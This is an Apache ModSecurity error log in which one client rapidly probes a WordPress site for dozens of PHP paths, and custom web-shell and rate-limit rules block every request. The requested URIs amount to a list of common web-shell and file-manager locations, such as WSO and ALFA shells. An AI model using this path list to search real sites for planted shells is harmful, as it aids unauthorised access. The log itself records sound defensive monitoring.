[Sat Feb 28 22:48:40.618228 2026] [:error] [pid 39184:tid 39227] [client 13.71.191.191:14146] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aaMASFtZF9Zd_U7easDv7wAAAEg"]
[Sat Feb 28 22:48:41.122466 2026] [:error] [pid 49763:tid 49767] [client 13.71.191.191:14227] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qpglkpgm.php"] [unique_id "aaMASbTHSOG_yf2PpqHmtQAAAcE"]
[Sat Feb 28 22:48:41.652832 2026] [:error] [pid 11791:tid 11799] [client 13.71.191.191:14317] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qpglkpgm.php"] [unique_id "aaMASWuX5e1Q32gqxH3eYQAAAQY"]
[Sat Feb 28 22:48:42.108159 2026] [:error] [pid 11791:tid 11809] [client 13.71.191.191:14220] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qpglkpgm.php"] [unique_id "aaMASmuX5e1Q32gqxH3eZAAAARA"]
[Sat Feb 28 22:48:42.538808 2026] [:error] [pid 49763:tid 49766] [client 13.71.191.191:14267] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qpglkpgm.php"] [unique_id "aaMASrTHSOG_yf2PpqHmvQAAAcA"]
[Sat Feb 28 22:48:43.025528 2026] [:error] [pid 11791:tid 11805] [client 13.71.191.191:14294] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cms.php"] [unique_id "aaMAS2uX5e1Q32gqxH3eZgAAAQw"]
[Sat Feb 28 22:48:43.533234 2026] [:error] [pid 39184:tid 39224] [client 13.71.191.191:14328] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cms.php"] [unique_id "aaMAS1tZF9Zd_U7easDv9wAAAEU"]
[Sat Feb 28 22:48:44.122610 2026] [:error] [pid 49763:tid 49777] [client 13.71.191.191:14209] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cms.php"] [unique_id "aaMATLTHSOG_yf2PpqHmyAAAAcs"]
[Sat Feb 28 22:48:44.729072 2026] [:error] [pid 49763:tid 49782] [client 13.71.191.191:14253] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cms.php"] [unique_id "aaMATLTHSOG_yf2PpqHmzQAAAdA"]
[Sat Feb 28 22:48:45.229143 2026] [:error] [pid 39183:tid 39212] [client 13.71.191.191:14211] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maint/jp.php"] [unique_id "aaMATRCf4HvhVePw3LapIAAAABQ"]
[Sat Feb 28 22:48:45.690445 2026] [:error] [pid 49763:tid 49788] [client 13.71.191.191:14144] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maint/jp.php"] [unique_id "aaMATbTHSOG_yf2PpqHm0gAAAdY"]
[Sat Feb 28 22:48:46.451161 2026] [:error] [pid 52460:tid 52471] [client 13.71.191.191:14335] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maint/jp.php"] [unique_id "aaMATrLWOogAgHGh62TLDQAAAYg"]
[Sat Feb 28 22:48:47.210363 2026] [:error] [pid 49763:tid 49777] [client 13.71.191.191:14245] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maint/jp.php"] [unique_id "aaMAT7THSOG_yf2PpqHm1gAAAcs"]
[Sat Feb 28 22:48:47.674092 2026] [:error] [pid 39183:tid 39214] [client 13.71.191.191:14147] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/rafosul.php"] [unique_id "aaMATxCf4HvhVePw3LapLQAAABY"]
[Sat Feb 28 22:48:48.175482 2026] [:error] [pid 39183:tid 39202] [client 13.71.191.191:14318] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/rafosul.php"] [unique_id "aaMAUBCf4HvhVePw3LapMgAAAAo"]
[Sat Feb 28 22:48:48.635696 2026] [:error] [pid 39183:tid 39198] [client 13.71.191.191:14233] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/rafosul.php"] [unique_id "aaMAUBCf4HvhVePw3LapNAAAAAY"]
[Sat Feb 28 22:48:49.232106 2026] [:error] [pid 52460:tid 52470] [client 13.71.191.191:14229] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/rafosul.php"] [unique_id "aaMAUbLWOogAgHGh62TLFwAAAYc"]
[Sat Feb 28 22:48:49.663886 2026] [:error] [pid 49763:tid 49790] [client 13.71.191.191:14321] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/commands/webix.php"] [unique_id "aaMAUbTHSOG_yf2PpqHm3QAAAdg"]
[Sat Feb 28 22:48:50.128005 2026] [:error] [pid 49763:tid 49779] [client 13.71.191.191:14252] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php/shell.php/text.php"] [unique_id "aaMAUrTHSOG_yf2PpqHm3wAAAc0"]
[Sat Feb 28 22:48:50.603650 2026] [:error] [pid 49763:tid 49778] [client 13.71.191.191:14155] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php/shell.php/text.php"] [unique_id "aaMAUrTHSOG_yf2PpqHm4wAAAcw"]
[Sat Feb 28 22:48:51.046773 2026] [:error] [pid 52460:tid 52485] [client 13.71.191.191:14299] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php/shell.php/text.php"] [unique_id "aaMAU7LWOogAgHGh62TLIAAAAZY"]
[Sat Feb 28 22:48:51.545234 2026] [:error] [pid 52460:tid 52474] [client 13.71.191.191:14150] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php/shell.php/text.php"] [unique_id "aaMAU7LWOogAgHGh62TLIQAAAYs"]
[Sat Feb 28 22:48:52.038822 2026] [:error] [pid 39183:tid 39203] [client 13.71.191.191:14239] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/WordPressCore/fm.php"] [unique_id "aaMAVBCf4HvhVePw3LapQwAAAAs"]
[Sat Feb 28 22:48:52.484005 2026] [:error] [pid 39183:tid 39207] [client 13.71.191.191:14312] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/WordPressCore/fm.php"] [unique_id "aaMAVBCf4HvhVePw3LapSQAAAA8"]
[Sat Feb 28 22:48:53.031169 2026] [:error] [pid 39184:tid 39240] [client 13.71.191.191:14235] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/WordPressCore/fm.php"] [unique_id "aaMAVVtZF9Zd_U7easDv_QAAAFU"]
[Sat Feb 28 22:48:53.564932 2026] [:error] [pid 49763:tid 49788] [client 13.71.191.191:14240] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/WordPressCore/fm.php"] [unique_id "aaMAVbTHSOG_yf2PpqHm8AAAAdY"]
[Sat Feb 28 22:48:54.056848 2026] [:error] [pid 11791:tid 11797] [client 13.71.191.191:14330] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/gmxwbau/hzwttmff.php"] [unique_id "aaMAVmuX5e1Q32gqxH3eigAAAQQ"]
[Sat Feb 28 22:48:54.512426 2026] [:error] [pid 49763:tid 49767] [client 13.71.191.191:14215] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/gmxwbau/hzwttmff.php"] [unique_id "aaMAVrTHSOG_yf2PpqHm8wAAAcE"]
[Sat Feb 28 22:48:55.059984 2026] [:error] [pid 39292:tid 39312] [client 13.71.191.191:14225] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/gmxwbau/hzwttmff.php"] [unique_id "aaMAV6IAO5fN7BxyqcGdsQAAANI"]
[Sat Feb 28 22:48:55.524812 2026] [:error] [pid 39184:tid 39227] [client 13.71.191.191:14210] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/gmxwbau/hzwttmff.php"] [unique_id "aaMAV1tZF9Zd_U7easDwAgAAAEg"]
[Sat Feb 28 22:48:56.019622 2026] [:error] [pid 39183:tid 39201] [client 13.71.191.191:14243] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/WSO-Enigma.php"] [unique_id "aaMAWBCf4HvhVePw3LapUwAAAAk"]
[Sat Feb 28 22:48:56.553357 2026] [:error] [pid 49763:tid 49787] [client 13.71.191.191:14241] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/WSO-Enigma.php"] [unique_id "aaMAWLTHSOG_yf2PpqHm_QAAAdU"]
[Sat Feb 28 22:48:57.200410 2026] [:error] [pid 39185:tid 39256] [client 13.71.191.191:14168] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/WSO-Enigma.php"] [unique_id "aaMAWRVE-FfM89u7BQa16wAAAIo"]
[Sat Feb 28 22:48:57.689794 2026] [:error] [pid 39183:tid 39209] [client 13.71.191.191:14222] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/WSO-Enigma.php"] [unique_id "aaMAWRCf4HvhVePw3LapWAAAABE"]
[Sat Feb 28 22:48:58.379285 2026] [:error] [pid 39183:tid 39198] [client 13.71.191.191:14226] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/general/cache/plugins.php"] [unique_id "aaMAWhCf4HvhVePw3LapXwAAAAY"]
[Sat Feb 28 22:48:58.891711 2026] [:error] [pid 39183:tid 39212] [client 13.71.191.191:14242] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/general/cache/plugins.php"] [unique_id "aaMAWhCf4HvhVePw3LapZAAAABQ"]
[Sat Feb 28 22:48:59.484798 2026] [:error] [pid 49763:tid 49768] [client 13.71.191.191:14265] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/general/cache/plugins.php"] [unique_id "aaMAW7THSOG_yf2PpqHnBAAAAcI"]
[Sat Feb 28 22:49:00.010498 2026] [:error] [pid 49763:tid 49787] [client 13.71.191.191:14301] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/general/cache/plugins.php"] [unique_id "aaMAXLTHSOG_yf2PpqHnBgAAAdU"]
[Sat Feb 28 22:49:00.769466 2026] [:error] [pid 39183:tid 39214] [client 13.71.191.191:14232] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/gif.php"] [unique_id "aaMAXBCf4HvhVePw3LapcQAAABY"]
[Sat Feb 28 22:49:01.469881 2026] [:error] [pid 49763:tid 49774] [client 13.71.191.191:14151] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/block/moon.php"] [unique_id "aaMAXbTHSOG_yf2PpqHnCwAAAcg"]
[Sat Feb 28 22:49:02.169969 2026] [:error] [pid 39183:tid 39198] [client 13.71.191.191:14257] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/themes.php"] [unique_id "aaMAXhCf4HvhVePw3LapegAAAAY"]
[Sat Feb 28 22:49:02.632557 2026] [:error] [pid 39183:tid 39206] [client 13.71.191.191:14302] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/themes.php"] [unique_id "aaMAXhCf4HvhVePw3LapfQAAAA4"]
[Sat Feb 28 22:49:03.120227 2026] [:error] [pid 39183:tid 39209] [client 13.71.191.191:14250] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/themes.php"] [unique_id "aaMAXxCf4HvhVePw3LapggAAABE"]
[Sat Feb 28 22:49:03.912982 2026] [:error] [pid 39292:tid 39305] [client 13.71.191.191:14248] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/themes.php"] [unique_id "aaMAX6IAO5fN7BxyqcGdwAAAAMs"]
[Sat Feb 28 22:49:07.653732 2026] [:error] [pid 39183:tid 39213] [client 13.71.191.191:14164] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ern/classwithtostring.php"] [unique_id "aaMAYxCf4HvhVePw3LapjQAAABU"]
[Sat Feb 28 22:49:10.858625 2026] [:error] [pid 39292:tid 39300] [client 13.71.191.191:14279] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ern/classwithtostring.php"] [unique_id "aaMAZqIAO5fN7BxyqcGd0AAAAMY"]
[Sat Feb 28 22:49:11.530216 2026] [:error] [pid 49763:tid 49770] [client 13.71.191.191:14173] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ern/classwithtostring.php"] [unique_id "aaMAZ7THSOG_yf2PpqHnHQAAAcQ"]
[Sat Feb 28 22:49:12.125353 2026] [:error] [pid 39184:tid 39239] [client 13.71.191.191:14244] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ern/classwithtostring.php"] [unique_id "aaMAaFtZF9Zd_U7easDwGwAAAFQ"]
[Sat Feb 28 22:49:12.673026 2026] [:error] [pid 39183:tid 39192] [client 13.71.191.191:14251] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fnyeltio.php"] [unique_id "aaMAaBCf4HvhVePw3LaplwAAAAA"]
[Sat Feb 28 22:49:13.104211 2026] [:error] [pid 39183:tid 39213] [client 13.71.191.191:14293] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fnyeltio.php"] [unique_id "aaMAaRCf4HvhVePw3LapnwAAABU"]
[Sat Feb 28 22:49:13.653995 2026] [:error] [pid 39183:tid 39215] [client 13.71.191.191:14202] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fnyeltio.php"] [unique_id "aaMAaRCf4HvhVePw3LapogAAABc"]
[Sat Feb 28 22:49:14.108649 2026] [:error] [pid 49763:tid 49789] [client 13.71.191.191:14145] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fnyeltio.php"] [unique_id "aaMAarTHSOG_yf2PpqHnKQAAAdc"]
[Sat Feb 28 22:49:14.624431 2026] [:error] [pid 22194:tid 22214] [client 13.71.191.191:14332] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/class.engine.php"] [unique_id "aaMAan6mbajs3bzQGyu37QAAAVI"]
[Sat Feb 28 22:49:15.096436 2026] [:error] [pid 52460:tid 52479] [client 13.71.191.191:14188] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/format-library/admin.php"] [unique_id "aaMAa7LWOogAgHGh62TLMwAAAZA"]
[Sat Feb 28 22:49:15.682741 2026] [:error] [pid 39183:tid 39202] [client 13.71.191.191:14246] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/affiliate_manager.php"] [unique_id "aaMAaxCf4HvhVePw3LaprwAAAAo"]
